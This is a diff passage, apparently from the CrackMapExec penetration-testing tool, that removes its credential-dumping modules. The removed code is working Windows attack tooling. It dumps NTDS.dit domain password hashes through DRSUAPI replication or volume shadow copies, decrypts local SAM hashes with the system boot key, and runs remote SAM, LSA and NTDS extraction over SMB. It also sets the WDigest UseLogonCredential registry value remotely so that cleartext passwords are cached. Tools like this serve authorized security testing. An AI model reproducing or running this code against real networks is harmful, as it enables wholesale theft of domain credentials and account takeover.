tmpNTHistory = drsuapi.DecryptAttributeValue(self.__remoteOps.getDrsr(), encryptedNTHistory)
|
|
||||||
for i in range(0, len(tmpNTHistory) / 16):
|
|
||||||
NTHashHistory = drsuapi.removeDESLayer(tmpNTHistory[i * 16:(i + 1) * 16], rid)
|
|
||||||
NTHistory.append(NTHashHistory)
|
|
||||||
else:
|
|
||||||
logging.debug('No ntPwdHistory for user %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1])
|
|
||||||
|
|
||||||
if domain is not None:
|
|
||||||
userName = '%s\\%s' % (domain, userName)
|
|
||||||
|
|
||||||
answer = "%s:%s:%s:%s:::" % (userName, rid, hexlify(LMHash), hexlify(NTHash))
|
|
||||||
|
|
||||||
if outputFile is not None:
|
|
||||||
self.__writeOutput(outputFile, answer + '\n')
|
|
||||||
|
|
||||||
if self.__pwdLastSet is True:
|
|
||||||
answer = "%s (pwdLastSet=%s)" % (answer, pwdLastSet)
|
|
||||||
self.__logger.highlight(answer)
|
|
||||||
|
|
||||||
if self.__history:
|
|
||||||
for i, (LMHashHistory, NTHashHistory) in enumerate(
|
|
||||||
map(lambda l, n: (l, n) if l else ('', n), LMHistory[1:], NTHistory[1:])):
|
|
||||||
if self.__noLMHash:
|
|
||||||
lmhash = hexlify(ntlm.LMOWFv1('', ''))
|
|
||||||
else:
|
|
||||||
lmhash = hexlify(LMHashHistory)
|
|
||||||
|
|
||||||
answer = "%s_history%d:%s:%s:%s:::" % (userName, i, rid, lmhash, hexlify(NTHashHistory))
|
|
||||||
self.__logger.highlight(answer)
|
|
||||||
if outputFile is not None:
|
|
||||||
self.__writeOutput(outputFile, answer + '\n')
|
|
||||||
|
|
||||||
if outputFile is not None:
|
|
||||||
outputFile.flush()
|
|
||||||
|
|
||||||
def dump(self):
|
|
||||||
if self.__useVSSMethod is True:
|
|
||||||
if self.__NTDS is None:
|
|
||||||
# No NTDS.dit file provided and were asked to use VSS
|
|
||||||
return
|
|
||||||
else:
|
|
||||||
if self.__NTDS is None:
|
|
||||||
# DRSUAPI method, checking whether target is a DC
|
|
||||||
try:
|
|
||||||
self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1])
|
|
||||||
except Exception as e:
|
|
||||||
traceback.print_exc()
|
|
||||||
# Target's not a DC
|
|
||||||
return
|
|
||||||
|
|
||||||
# Let's check if we need to save results in a file
|
|
||||||
if self.__outputFileName is not None:
|
|
||||||
logging.debug('Saving output to %s' % self.__outputFileName)
|
|
||||||
# We have to export. Are we resuming a session?
|
|
||||||
if self.__savedSessionFile is not None:
|
|
||||||
mode = 'a+'
|
|
||||||
else:
|
|
||||||
mode = 'w+'
|
|
||||||
hashesOutputFile = codecs.open(self.__outputFileName+'.ntds',mode, encoding='utf-8')
|
|
||||||
if self.__justNTLM is False:
|
|
||||||
keysOutputFile = codecs.open(self.__outputFileName+'.ntds.kerberos',mode, encoding='utf-8')
|
|
||||||
clearTextOutputFile = codecs.open(self.__outputFileName+'.ntds.cleartext',mode, encoding='utf-8')
|
|
||||||
else:
|
|
||||||
hashesOutputFile = None
|
|
||||||
keysOutputFile = None
|
|
||||||
clearTextOutputFile = None
|
|
||||||
|
|
||||||
self.__logger.success('Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash)')
|
|
||||||
if self.__useVSSMethod:
|
|
||||||
# We start getting rows from the table aiming at reaching
|
|
||||||
# the pekList. If we find users records we stored them
|
|
||||||
# in a temp list for later process.
|
|
||||||
self.__getPek()
|
|
||||||
if self.__PEK is not None:
|
|
||||||
logging.info('Reading and decrypting hashes from %s ' % self.__NTDS)
|
|
||||||
# First of all, if we have users already cached, let's decrypt their hashes
|
|
||||||
for record in self.__tmpUsers:
|
|
||||||
try:
|
|
||||||
self.__decryptHash(record, outputFile=hashesOutputFile)
|
|
||||||
if self.__justNTLM is False:
|
|
||||||
self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
|
|
||||||
except Exception as e:
|
|
||||||
traceback.print_exc()
|
|
||||||
try:
|
|
||||||
logging.error(
|
|
||||||
"Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
|
|
||||||
logging.error(str(e))
|
|
||||||
pass
|
|
||||||
except:
|
|
||||||
logging.error("Error while processing row!")
|
|
||||||
logging.error(str(e))
|
|
||||||
pass
|
|
||||||
|
|
||||||
# Now let's keep moving through the NTDS file and decrypting what we find
|
|
||||||
while True:
|
|
||||||
try:
|
|
||||||
record = self.__ESEDB.getNextRow(self.__cursor)
|
|
||||||
except:
|
|
||||||
traceback.print_exc()
|
|
||||||
logging.error('Error while calling getNextRow(), trying the next one')
|
|
||||||
continue
|
|
||||||
|
|
||||||
if record is None:
|
|
||||||
break
|
|
||||||
try:
|
|
||||||
if record[self.NAME_TO_INTERNAL['sAMAccountType']] in self.ACCOUNT_TYPES:
|
|
||||||
self.__decryptHash(record, outputFile=hashesOutputFile)
|
|
||||||
if self.__justNTLM is False:
|
|
||||||
self.__decryptSupplementalInfo(record, None, keysOutputFile, clearTextOutputFile)
|
|
||||||
except Exception, e:
|
|
||||||
traceback.print_exc()
|
|
||||||
try:
|
|
||||||
logging.error(
|
|
||||||
"Error while processing row for user %s" % record[self.NAME_TO_INTERNAL['name']])
|
|
||||||
logging.error(str(e))
|
|
||||||
pass
|
|
||||||
except:
|
|
||||||
logging.error("Error while processing row!")
|
|
||||||
logging.error(str(e))
|
|
||||||
pass
|
|
||||||
else:
|
|
||||||
self.__logger.success('Using the DRSUAPI method to get NTDS.DIT secrets')
|
|
||||||
status = STATUS_MORE_ENTRIES
|
|
||||||
enumerationContext = 0
|
|
||||||
|
|
||||||
# Do we have to resume from a previously saved session?
|
|
||||||
if self.__savedSessionFile is not None:
|
|
||||||
# Yes
|
|
||||||
try:
|
|
||||||
resumeFile = open(self.__savedSessionFile, 'rwb+')
|
|
||||||
except Exception, e:
|
|
||||||
traceback.print_exc()
|
|
||||||
raise Exception('Cannot open resume session file name %s' % str(e))
|
|
||||||
resumeSid = resumeFile.read().strip('\n')
|
|
||||||
logging.info('Resuming from SID %s, be patient' % resumeSid)
|
|
||||||
# The resume session file is the same as the savedSessionFile
|
|
||||||
tmpName = self.__savedSessionFile
|
|
||||||
else:
|
|
||||||
resumeSid = None
|
|
||||||
tmpName = 'sessionresume_%s' % ''.join([random.choice(string.letters) for i in range(8)])
|
|
||||||
logging.debug('Session resume file will be %s' % tmpName)
|
|
||||||
# Creating the resume session file
|
|
||||||
try:
|
|
||||||
resumeFile = open(tmpName, 'wb+')
|
|
||||||
self.__resumeSessionFile = tmpName
|
|
||||||
except Exception, e:
|
|
||||||
traceback.print_exc()
|
|
||||||
raise Exception('Cannot create resume session file %s' % str(e))
|
|
||||||
|
|
||||||
while status == STATUS_MORE_ENTRIES:
|
|
||||||
resp = self.__remoteOps.getDomainUsers(enumerationContext)
|
|
||||||
|
|
||||||
for user in resp['Buffer']['Buffer']:
|
|
||||||
userName = user['Name']
|
|
||||||
|
|
||||||
userSid = self.__remoteOps.ridToSid(user['RelativeId'])
|
|
||||||
if resumeSid is not None:
|
|
||||||
# Means we're looking for a SID before start processing back again
|
|
||||||
if resumeSid == userSid.formatCanonical():
|
|
||||||
# Match!, next round we will back processing
|
|
||||||
resumeSid = None
|
|
||||||
continue
|
|
||||||
|
|
||||||
# Let's crack the user sid into DS_FQDN_1779_NAME
|
|
||||||
# In theory I shouldn't need to crack the sid. Instead
|
|
||||||
# I could use it when calling DRSGetNCChanges inside the DSNAME parameter.
|
|
||||||
# For some reason tho, I get ERROR_DS_DRA_BAD_DN when doing so.
|
|
||||||
crackedName = self.__remoteOps.DRSCrackNames(drsuapi.DS_NAME_FORMAT.DS_SID_OR_SID_HISTORY_NAME, drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name = userSid.formatCanonical())
|
|
||||||
|
|
||||||
if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1:
|
|
||||||
userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1])
|
|
||||||
#userRecord.dump()
|
|
||||||
if userRecord['pmsgOut']['V6']['cNumObjects'] == 0:
|
|
||||||
raise Exception('DRSGetNCChanges didn\'t return any object!')
|
|
||||||
else:
|
|
||||||
logging.warning('DRSCrackNames returned %d items for user %s, skipping' %(crackedName['pmsgOut']['V1']['pResult']['cItems'], userName))
|
|
||||||
try:
|
|
||||||
self.__decryptHash(userRecord, user['RelativeId'],
|
|
||||||
userRecord['pmsgOut']['V6']['PrefixTableSrc']['pPrefixEntry'],
|
|
||||||
hashesOutputFile)
|
|
||||||
if self.__justNTLM is False:
|
|
||||||
self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut']['V6']['PrefixTableSrc'][
|
|
||||||
'pPrefixEntry'], keysOutputFile, clearTextOutputFile)
|
|
||||||
|
|
||||||
except Exception, e:
|
|
||||||
traceback.print_exc()
|
|
||||||
logging.error("Error while processing user!")
|
|
||||||
logging.error(str(e))
|
|
||||||
|
|
||||||
# Saving the session state
|
|
||||||
resumeFile.seek(0,0)
|
|
||||||
resumeFile.truncate(0)
|
|
||||||
resumeFile.write(userSid.formatCanonical())
|
|
||||||
resumeFile.flush()
|
|
||||||
|
|
||||||
enumerationContext = resp['EnumerationContext']
|
|
||||||
status = resp['ErrorCode']
|
|
||||||
|
|
||||||
# Everything went well and we covered all the users
|
|
||||||
# Let's remove the resume file
|
|
||||||
resumeFile.close()
|
|
||||||
os.remove(tmpName)
|
|
||||||
self.__resumeSessionFile = None
|
|
||||||
|
|
||||||
# Now we'll print the Kerberos keys. So we don't mix things up in the output.
|
|
||||||
if len(self.__kerberosKeys) > 0:
|
|
||||||
if self.__useVSSMethod is True:
|
|
||||||
logging.info('Kerberos keys from %s ' % self.__NTDS)
|
|
||||||
else:
|
|
||||||
logging.info('Kerberos keys grabbed')
|
|
||||||
|
|
||||||
for itemKey in self.__kerberosKeys.keys():
|
|
||||||
self.__logger.highlight(itemKey)
|
|
||||||
|
|
||||||
# And finally the cleartext pwds
|
|
||||||
if len(self.__clearTextPwds) > 0:
|
|
||||||
if self.__useVSSMethod is True:
|
|
||||||
logging.info('ClearText password from %s ' % self.__NTDS)
|
|
||||||
else:
|
|
||||||
logging.info('ClearText passwords grabbed')
|
|
||||||
|
|
||||||
for itemKey in self.__clearTextPwds.keys():
|
|
||||||
self.__logger.highlight(itemKey)
|
|
||||||
|
|
||||||
# Closing output file
|
|
||||||
if self.__outputFileName is not None:
|
|
||||||
hashesOutputFile.close()
|
|
||||||
if self.__justNTLM is False:
|
|
||||||
keysOutputFile.close()
|
|
||||||
clearTextOutputFile.close()
|
|
||||||
|
|
||||||
@classmethod
|
|
||||||
def __writeOutput(cls, fd, data):
|
|
||||||
try:
|
|
||||||
fd.write(data)
|
|
||||||
except Exception, e:
|
|
||||||
logging.error("Error writing entry, skippingi (%s)" % str(e))
|
|
||||||
pass
|
|
||||||
|
|
||||||
def finish(self):
|
|
||||||
if self.__NTDS is not None:
|
|
||||||
self.__ESEDB.close()
|
|
|
@ -1,48 +0,0 @@
|
||||||
from impacket import winregistry
|
|
||||||
|
|
||||||
class OfflineRegistry:
|
|
||||||
def __init__(self, hiveFile = None, isRemote = False):
|
|
||||||
self.__hiveFile = hiveFile
|
|
||||||
if self.__hiveFile is not None:
|
|
||||||
self.__registryHive = winregistry.Registry(self.__hiveFile, isRemote)
|
|
||||||
|
|
||||||
def enumKey(self, searchKey):
|
|
||||||
parentKey = self.__registryHive.findKey(searchKey)
|
|
||||||
|
|
||||||
if parentKey is None:
|
|
||||||
return
|
|
||||||
|
|
||||||
keys = self.__registryHive.enumKey(parentKey)
|
|
||||||
|
|
||||||
return keys
|
|
||||||
|
|
||||||
def enumValues(self, searchKey):
|
|
||||||
key = self.__registryHive.findKey(searchKey)
|
|
||||||
|
|
||||||
if key is None:
|
|
||||||
return
|
|
||||||
|
|
||||||
values = self.__registryHive.enumValues(key)
|
|
||||||
|
|
||||||
return values
|
|
||||||
|
|
||||||
def getValue(self, keyValue):
|
|
||||||
value = self.__registryHive.getValue(keyValue)
|
|
||||||
|
|
||||||
if value is None:
|
|
||||||
return
|
|
||||||
|
|
||||||
return value
|
|
||||||
|
|
||||||
def getClass(self, className):
|
|
||||||
value = self.__registryHive.getClass(className)
|
|
||||||
|
|
||||||
if value is None:
|
|
||||||
return
|
|
||||||
|
|
||||||
return value
|
|
||||||
|
|
||||||
def finish(self):
|
|
||||||
if self.__hiveFile is not None:
|
|
||||||
# Remove temp file and whatever else is needed
|
|
||||||
self.__registryHive.close()
|
|
|
@ -1,129 +0,0 @@
|
||||||
from cme.credentials.offlineregistry import OfflineRegistry
|
|
||||||
from cme.credentials.commonstructs import DOMAIN_ACCOUNT_F, USER_ACCOUNT_V
|
|
||||||
from cme.credentials.cryptocommon import CryptoCommon
|
|
||||||
from impacket import ntlm
|
|
||||||
from binascii import hexlify
|
|
||||||
from Crypto.Cipher import DES, ARC4
|
|
||||||
from struct import pack
|
|
||||||
import hashlib
|
|
||||||
import ntpath
|
|
||||||
import codecs
|
|
||||||
import logging
|
|
||||||
|
|
||||||
class SAMHashes(OfflineRegistry):
|
|
||||||
def __init__(self, samFile, bootKey, logger, db, host, hostname, isRemote = False):
|
|
||||||
OfflineRegistry.__init__(self, samFile, isRemote)
|
|
||||||
self.__samFile = samFile
|
|
||||||
self.__hashedBootKey = ''
|
|
||||||
self.__bootKey = bootKey
|
|
||||||
self.__logger = logger
|
|
||||||
self.__db = db
|
|
||||||
self.__host = host
|
|
||||||
self.__hostname = hostname
|
|
||||||
self.__cryptoCommon = CryptoCommon()
|
|
||||||
self.__itemsFound = {}
|
|
||||||
|
|
||||||
def MD5(self, data):
|
|
||||||
md5 = hashlib.new('md5')
|
|
||||||
md5.update(data)
|
|
||||||
return md5.digest()
|
|
||||||
|
|
||||||
def getHBootKey(self):
|
|
||||||
logging.debug('Calculating HashedBootKey from SAM')
|
|
||||||
QWERTY = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
|
|
||||||
DIGITS = "0123456789012345678901234567890123456789\0"
|
|
||||||
|
|
||||||
F = self.getValue(ntpath.join('SAM\Domains\Account','F'))[1]
|
|
||||||
|
|
||||||
domainData = DOMAIN_ACCOUNT_F(F)
|
|
||||||
|
|
||||||
rc4Key = self.MD5(domainData['Key0']['Salt'] + QWERTY + self.__bootKey + DIGITS)
|
|
||||||
|
|
||||||
rc4 = ARC4.new(rc4Key)
|
|
||||||
self.__hashedBootKey = rc4.encrypt(domainData['Key0']['Key']+domainData['Key0']['CheckSum'])
|
|
||||||
|
|
||||||
# Verify key with checksum
|
|
||||||
checkSum = self.MD5( self.__hashedBootKey[:16] + DIGITS + self.__hashedBootKey[:16] + QWERTY)
|
|
||||||
|
|
||||||
if checkSum != self.__hashedBootKey[16:]:
|
|
||||||
raise Exception('hashedBootKey CheckSum failed, Syskey startup password probably in use! :(')
|
|
||||||
|
|
||||||
def __decryptHash(self, rid, cryptedHash, constant):
|
|
||||||
# Section 2.2.11.1.1 Encrypting an NT or LM Hash Value with a Specified Key
|
|
||||||
# plus hashedBootKey stuff
|
|
||||||
Key1,Key2 = self.__cryptoCommon.deriveKey(rid)
|
|
||||||
|
|
||||||
Crypt1 = DES.new(Key1, DES.MODE_ECB)
|
|
||||||
Crypt2 = DES.new(Key2, DES.MODE_ECB)
|
|
||||||
|
|
||||||
rc4Key = self.MD5( self.__hashedBootKey[:0x10] + pack("<L",rid) + constant )
|
|
||||||
rc4 = ARC4.new(rc4Key)
|
|
||||||
key = rc4.encrypt(cryptedHash)
|
|
||||||
|
|
||||||
decryptedHash = Crypt1.decrypt(key[:8]) + Crypt2.decrypt(key[8:])
|
|
||||||
|
|
||||||
return decryptedHash
|
|
||||||
|
|
||||||
def dump(self):
|
|
||||||
NTPASSWORD = "NTPASSWORD\0"
|
|
||||||
LMPASSWORD = "LMPASSWORD\0"
|
|
||||||
sam_hashes = []
|
|
||||||
|
|
||||||
if self.__samFile is None:
|
|
||||||
# No SAM file provided
|
|
||||||
return
|
|
||||||
|
|
||||||
self.__logger.success('Dumping local SAM hashes (uid:rid:lmhash:nthash)')
|
|
||||||
self.getHBootKey()
|
|
||||||
|
|
||||||
usersKey = 'SAM\\Domains\\Account\\Users'
|
|
||||||
|
|
||||||
# Enumerate all the RIDs
|
|
||||||
rids = self.enumKey(usersKey)
|
|
||||||
# Remove the Names item
|
|
||||||
try:
|
|
||||||
rids.remove('Names')
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
for rid in rids:
|
|
||||||
userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1])
|
|
||||||
rid = int(rid,16)
|
|
||||||
|
|
||||||
V = userAccount['Data']
|
|
||||||
|
|
||||||
userName = V[userAccount['NameOffset']:userAccount['NameOffset']+userAccount['NameLength']].decode('utf-16le')
|
|
||||||
|
|
||||||
if userAccount['LMHashLength'] == 20:
|
|
||||||
encLMHash = V[userAccount['LMHashOffset']+4:userAccount['LMHashOffset']+userAccount['LMHashLength']]
|
|
||||||
else:
|
|
||||||
encLMHash = ''
|
|
||||||
|
|
||||||
if userAccount['NTHashLength'] == 20:
|
|
||||||
encNTHash = V[userAccount['NTHashOffset']+4:userAccount['NTHashOffset']+userAccount['NTHashLength']]
|
|
||||||
else:
|
|
||||||
encNTHash = ''
|
|
||||||
|
|
||||||
lmHash = self.__decryptHash(rid, encLMHash, LMPASSWORD)
|
|
||||||
ntHash = self.__decryptHash(rid, encNTHash, NTPASSWORD)
|
|
||||||
|
|
||||||
if lmHash == '':
|
|
||||||
lmHash = ntlm.LMOWFv1('','')
|
|
||||||
if ntHash == '':
|
|
||||||
ntHash = ntlm.NTOWFv1('','')
|
|
||||||
|
|
||||||
answer = "%s:%d:%s:%s:::" % (userName, rid, hexlify(lmHash), hexlify(ntHash))
|
|
||||||
self.__itemsFound[rid] = answer
|
|
||||||
self.__logger.highlight(answer)
|
|
||||||
sam_hashes.append(answer)
|
|
||||||
self.__db.add_credential('hash', self.__hostname, userName, '{}:{}'.format(hexlify(lmHash), hexlify(ntHash)))
|
|
||||||
|
|
||||||
return sam_hashes
|
|
||||||
|
|
||||||
def export(self, fileName):
|
|
||||||
if len(self.__itemsFound) > 0:
|
|
||||||
items = sorted(self.__itemsFound)
|
|
||||||
fd = codecs.open(fileName+'.sam','w+', encoding='utf-8')
|
|
||||||
for item in items:
|
|
||||||
fd.write(self.__itemsFound[item]+'\n')
|
|
||||||
fd.close()
|
|
|
@ -1,201 +0,0 @@
|
||||||
from impacket import winregistry
|
|
||||||
from binascii import unhexlify, hexlify
|
|
||||||
from gevent import sleep
|
|
||||||
from cme.remoteoperations import RemoteOperations
|
|
||||||
from cme.credentials.sam import SAMHashes
|
|
||||||
from cme.credentials.lsa import LSASecrets
|
|
||||||
from cme.credentials.ntds import NTDSHashes
|
|
||||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
|
||||||
import traceback
|
|
||||||
import os
|
|
||||||
import logging
|
|
||||||
|
|
||||||
class DumpSecrets:
|
|
||||||
def __init__(self, connection):
|
|
||||||
self.__useVSSMethod = False
|
|
||||||
self.__smbConnection = connection.conn
|
|
||||||
self.__db = connection.db
|
|
||||||
self.__host = connection.host
|
|
||||||
self.__hostname = connection.hostname
|
|
||||||
self.__remoteOps = None
|
|
||||||
self.__SAMHashes = None
|
|
||||||
self.__NTDSHashes = None
|
|
||||||
self.__LSASecrets = None
|
|
||||||
#self.__systemHive = options.system
|
|
||||||
#self.__securityHive = options.security
|
|
||||||
#self.__samHive = options.sam
|
|
||||||
#self.__ntdsFile = options.ntds
|
|
||||||
self.__bootKey = None
|
|
||||||
self.__history = False
|
|
||||||
self.__noLMHash = True
|
|
||||||
self.__isRemote = True
|
|
||||||
self.__outputFileName = os.path.join(os.path.expanduser('~/.cme'), 'logs/{}_{}'.format(connection.hostname, connection.host))
|
|
||||||
self.__doKerberos = False
|
|
||||||
self.__justDC = False
|
|
||||||
self.__justDCNTLM = False
|
|
||||||
self.__pwdLastSet = False
|
|
||||||
self.__resumeFileName = None
|
|
||||||
self.__logger = connection.logger
|
|
||||||
|
|
||||||
def getBootKey(self):
|
|
||||||
# Local Version whenever we are given the files directly
|
|
||||||
bootKey = ''
|
|
||||||
tmpKey = ''
|
|
||||||
winreg = winregistry.Registry(self.__systemHive, self.__isRemote)
|
|
||||||
# We gotta find out the Current Control Set
|
|
||||||
currentControlSet = winreg.getValue('\\Select\\Current')[1]
|
|
||||||
currentControlSet = "ControlSet%03d" % currentControlSet
|
|
||||||
for key in ['JD','Skew1','GBG','Data']:
|
|
||||||
logging.debug('Retrieving class info for %s'% key)
|
|
||||||
ans = winreg.getClass('\\%s\\Control\\Lsa\\%s' % (currentControlSet,key))
|
|
||||||
digit = ans[:16].decode('utf-16le')
|
|
||||||
tmpKey = tmpKey + digit
|
|
||||||
|
|
||||||
transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
|
|
||||||
|
|
||||||
tmpKey = unhexlify(tmpKey)
|
|
||||||
|
|
||||||
for i in xrange(len(tmpKey)):
|
|
||||||
bootKey += tmpKey[transforms[i]]
|
|
||||||
|
|
||||||
logging.info('Target system bootKey: 0x%s' % hexlify(bootKey))
|
|
||||||
|
|
||||||
return bootKey
|
|
||||||
|
|
||||||
def checkNoLMHashPolicy(self):
|
|
||||||
logging.debug('Checking NoLMHash Policy')
|
|
||||||
winreg = winregistry.Registry(self.__systemHive, self.__isRemote)
|
|
||||||
# We gotta find out the Current Control Set
|
|
||||||
currentControlSet = winreg.getValue('\\Select\\Current')[1]
|
|
||||||
currentControlSet = "ControlSet%03d" % currentControlSet
|
|
||||||
|
|
||||||
#noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)[1]
|
|
||||||
noLmHash = winreg.getValue('\\%s\\Control\\Lsa\\NoLmHash' % currentControlSet)
|
|
||||||
if noLmHash is not None:
|
|
||||||
noLmHash = noLmHash[1]
|
|
||||||
else:
|
|
||||||
noLmHash = 0
|
|
||||||
|
|
||||||
if noLmHash != 1:
|
|
||||||
logging.debug('LMHashes are being stored')
|
|
||||||
return False
|
|
||||||
logging.debug('LMHashes are NOT being stored')
|
|
||||||
return True
|
|
||||||
|
|
||||||
def enableRemoteRegistry(self):
|
|
||||||
bootKey = None
|
|
||||||
try:
|
|
||||||
self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos)
|
|
||||||
#if self.__justDC is False and self.__justDCNTLM is False or self.__useVSSMethod is True:
|
|
||||||
self.__remoteOps.enableRegistry()
|
|
||||||
self.__bootKey = self.__remoteOps.getBootKey()
|
|
||||||
# Let's check whether target system stores LM Hashes
|
|
||||||
self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy()
|
|
||||||
except Exception as e:
|
|
||||||
traceback.print_exc()
|
|
||||||
logging.error('RemoteOperations failed: %s' % str(e))
|
|
||||||
|
|
||||||
def SAM_dump(self):
|
|
||||||
self.enableRemoteRegistry()
|
|
||||||
sam_hashes = []
|
|
||||||
try:
|
|
||||||
SAMFileName = self.__remoteOps.saveSAM()
|
|
||||||
self.__SAMHashes = SAMHashes(SAMFileName,
|
|
||||||
self.__bootKey,
|
|
||||||
self.__logger,
|
|
||||||
self.__db,
|
|
||||||
self.__host,
|
|
||||||
self.__hostname,
|
|
||||||
isRemote = True)
|
|
||||||
sam_hashes.extend(self.__SAMHashes.dump())
|
|
||||||
self.__SAMHashes.export(self.__outputFileName)
|
|
||||||
except Exception as e:
|
|
||||||
traceback.print_exc()
|
|
||||||
logging.error('SAM hashes extraction failed: %s' % str(e))
|
|
||||||
|
|
||||||
self.cleanup()
|
|
||||||
return sam_hashes
|
|
||||||
|
|
||||||
def LSA_dump(self):
|
|
||||||
self.enableRemoteRegistry()
|
|
||||||
lsa_secrets = []
|
|
||||||
try:
|
|
||||||
SECURITYFileName = self.__remoteOps.saveSECURITY()
|
|
||||||
|
|
||||||
self.__LSASecrets = LSASecrets(SECURITYFileName,
|
|
||||||
self.__bootKey,
|
|
||||||
self.__logger,
|
|
||||||
self.__remoteOps,
|
|
||||||
isRemote=self.__isRemote)
|
|
||||||
|
|
||||||
lsa_secrets.extend(self.__LSASecrets.dumpCachedHashes())
|
|
||||||
self.__LSASecrets.exportCached(self.__outputFileName)
|
|
||||||
lsa_secrets.extend(self.__LSASecrets.dumpSecrets())
|
|
||||||
self.__LSASecrets.exportSecrets(self.__outputFileName)
|
|
||||||
except Exception as e:
|
|
||||||
traceback.print_exc()
|
|
||||||
logging.error('LSA hashes extraction failed: %s' % str(e))
|
|
||||||
|
|
||||||
self.cleanup()
|
|
||||||
return lsa_secrets
|
|
||||||
|
|
||||||
def NTDS_dump(self, method, pwdLastSet, history):
|
|
||||||
self.__pwdLastSet = pwdLastSet
|
|
||||||
self.__history = history
|
|
||||||
try:
|
|
||||||
self.enableRemoteRegistry()
|
|
||||||
except Exception:
|
|
||||||
traceback.print_exc()
|
|
||||||
|
|
||||||
# NTDS Extraction we can try regardless of RemoteOperations failing. It might still work
|
|
||||||
if method == 'vss':
|
|
||||||
self.__useVSSMethod = True
|
|
||||||
|
|
||||||
if self.__useVSSMethod:
|
|
||||||
NTDSFileName = self.__remoteOps.saveNTDS()
|
|
||||||
else:
|
|
||||||
NTDSFileName = None
|
|
||||||
|
|
||||||
self.__NTDSHashes = NTDSHashes(NTDSFileName, self.__bootKey, self.__logger, isRemote=True, history=self.__history,
|
|
||||||
noLMHash=self.__noLMHash, remoteOps=self.__remoteOps,
|
|
||||||
useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM,
|
|
||||||
pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName,
|
|
||||||
outputFileName=self.__outputFileName)
|
|
||||||
#try:
|
|
||||||
self.__NTDSHashes.dump()
|
|
||||||
#except Exception as e:
|
|
||||||
# traceback.print_exc()
|
|
||||||
# logging.error(e)
|
|
||||||
# if self.__useVSSMethod is False:
|
|
||||||
# logging.info('Something wen\'t wrong with the DRSUAPI approach. Try again with -use-vss parameter')
|
|
||||||
self.cleanup()
|
|
||||||
|
|
||||||
def cleanup(self):
|
|
||||||
logging.info('Cleaning up... ')
|
|
||||||
if self.__remoteOps:
|
|
||||||
try:
|
|
||||||
self.__remoteOps.finish()
|
|
||||||
except:
|
|
||||||
logging.debug('Error calling remoteOps.finish(), traceback:')
|
|
||||||
logging.debug(traceback.format_exc())
|
|
||||||
|
|
||||||
if self.__SAMHashes:
|
|
||||||
try:
|
|
||||||
self.__SAMHashes.finish()
|
|
||||||
except:
|
|
||||||
logging.debug('Error calling SAMHashes.finish(), traceback:')
|
|
||||||
logging.debug(traceback.format_exc())
|
|
||||||
|
|
||||||
if self.__LSASecrets:
|
|
||||||
try:
|
|
||||||
self.__LSASecrets.finish()
|
|
||||||
except:
|
|
||||||
logging.debug('Error calling LSASecrets.finish(), traceback:')
|
|
||||||
logging.debug(traceback.format_exc())
|
|
||||||
|
|
||||||
if self.__NTDSHashes:
|
|
||||||
try:
|
|
||||||
self.__NTDSHashes.finish()
|
|
||||||
except:
|
|
||||||
logging.debug('Error calling NTDSHashes.finish(), traceback:')
|
|
||||||
logging.debug(traceback.format_exc())
|
|
|
@ -1,71 +0,0 @@
|
||||||
from cme.remoteoperations import RemoteOperations
|
|
||||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
|
||||||
from impacket.dcerpc.v5 import rrp
|
|
||||||
|
|
||||||
class WDIGEST:
|
|
||||||
|
|
||||||
def __init__(self, connection):
|
|
||||||
self.logger = connection.logger
|
|
||||||
self.smbconnection = connection.conn
|
|
||||||
self.doKerb = False
|
|
||||||
self.rrp = None
|
|
||||||
|
|
||||||
def enable(self):
|
|
||||||
remoteOps = RemoteOperations(self.smbconnection, self.doKerb)
|
|
||||||
remoteOps.enableRegistry()
|
|
||||||
self.rrp = remoteOps._RemoteOperations__rrp
|
|
||||||
|
|
||||||
if self.rrp is not None:
|
|
||||||
ans = rrp.hOpenLocalMachine(self.rrp)
|
|
||||||
regHandle = ans['phKey']
|
|
||||||
|
|
||||||
ans = rrp.hBaseRegOpenKey(self.rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
|
|
||||||
keyHandle = ans['phkResult']
|
|
||||||
|
|
||||||
rrp.hBaseRegSetValue(self.rrp, keyHandle, 'UseLogonCredential\x00', rrp.REG_DWORD, 1)
|
|
||||||
|
|
||||||
rtype, data = rrp.hBaseRegQueryValue(self.rrp, keyHandle, 'UseLogonCredential\x00')
|
|
||||||
|
|
||||||
if int(data) == 1:
|
|
||||||
self.logger.success('UseLogonCredential registry key created successfully')
|
|
||||||
|
|
||||||
try:
|
|
||||||
remoteOps.finish()
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
def disable(self):
|
|
||||||
remoteOps = RemoteOperations(self.smbconnection, self.doKerb)
|
|
||||||
remoteOps.enableRegistry()
|
|
||||||
self.rrp = remoteOps._RemoteOperations__rrp
|
|
||||||
|
|
||||||
if self.rrp is not None:
|
|
||||||
ans = rrp.hOpenLocalMachine(self.rrp)
|
|
||||||
regHandle = ans['phKey']
|
|
||||||
|
|
||||||
ans = rrp.hBaseRegOpenKey(self.rrp, regHandle, 'SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest')
|
|
||||||
keyHandle = ans['phkResult']
|
|
||||||
|
|
||||||
try:
|
|
||||||
rrp.hBaseRegDeleteValue(self.rrp, keyHandle, 'UseLogonCredential\x00')
|
|
